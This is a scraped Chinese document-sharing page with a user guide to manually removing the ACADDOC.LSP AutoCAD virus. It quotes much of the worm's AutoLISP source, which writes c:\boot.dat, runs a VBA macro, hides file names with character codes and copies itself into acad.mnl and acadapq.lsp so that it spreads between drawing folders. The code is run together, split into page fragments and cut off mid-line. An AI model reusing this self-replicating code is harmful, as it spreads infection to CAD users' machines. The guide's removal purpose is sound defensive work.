手工查杀ACADDOC

《手工查杀ACADDOC》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、手工查杀ACADDOC.LSP病毒发现中的这个病毒的状况是：开AutoCAD2006后提示"＜AutoCAD菜单实用程序已加载。正在初始化VBA系统...执行错误执行错误＞"同时发现工作目录平时只有DWG、BAK等熟悉文件外，多了acaddoc.lsp，打开看如下： (setqwold_cmd(getvar"cmdecho"))(setvar"cmdecho"0)(setqwpath(findfile"base.dcl"))(setqwpath(substrwpath1(-(strlenwpath)8)))(setq

2、wwmnlwpath(getvar"menuname"))(setqwnowdwg(getvar"dwgname"))(setqwwjqm(findfilewnowdwg))(setqwdwgwpath(substrwwjqm1(-(strlenwwjqm)(strlenwnowdwg))));;;alert (setqf(open"c:\boot.dat""w")) (write-line"[dang]"f)(write-line(strcat "ff="wdwgwpath) f)(write-line(strc

3、at"yy="  wpath)f)(closef)(setqboot(findfile"boot.dat")) (if(/=boot"")(command"_-vbarun""ThisDrawing.hh"))(setqwacadwpath(findfile"acaddoc.lsp")) (setqwacadwpath(substrwacadwpath1(-(strlenwacadwpath)11)))(setqwns1""wns2"")(setqwlspbj0)(setqwwjqm(strcatwpath"acad

4、doc.lsp"))(if(setqwwjm(openwwjqm"r"))(progn(while(setqwwz(read-line wwjm))(setqwns1wns2)(setqwns2wwz))(if(>(strlenwns1)14) (if(=(substrwns187)"acadapq")(setqwlspbj1)))(closewwjm)))(setqwlspmnl0)(setqwwjqm(strcatwpath"acad.mnl"))(if(setqwwjm(openwwjqm"r"))(progn

5、(while(setqwwz(read-linewwjm))(setqwns1wns2)(setqwns2wwz))(if(>(strlenwns1)14)(if(=(substr wns1 87)"acadapq")(setqwlspmnl1)))(close wwjm)  ))(if(=wlspmnl0)     (progn  (setq wwjqm(strcatwpath(strcat(chr97)(chr99)(chr97)(chr100)(chr46)(chr109)(chr110)(chr108))))

6、(setqwwjm(openwwjqm"a"))(write-line(strcat"(load"(chr34)"acadapq"(chr34)")")wwjm)(write-line"(princ)"wwjm)(closewwjm) ))(defunwwriteapp()(if(setqwwjm1(openwnewacad"w"))(progn(setqwwjm(openwoldacad"r"))(while(setqwwz(read-linewwjm))(write-linewwzwwjm1))    (clos

7、ewwjm)(closewwjm1))))(if(and(=wacadwpath wdwgwpath)(/=wacadwpath wpath))(progn  (if(=0wlspmnl)(progn(setqwoldacad(findfile"acaddoc.lsp"))  (setqwnewacad(strcat wpath"acadapq.lsp")))(progn(setqwoldacad(strcatwpath"acadapq.lsp"))(setqwnewacad(findfile"acaddoc.lsp

8、")) )     )(if     (=wlspbj0)     (progn(setqwwjqm(strcatwpath"acaddoc.lsp"))(setqwwjm(openwwjqm"a"))(write-line(strcat"(load"(chr34)"acadapq"(chr34)")")wwjm)(write-line"(pr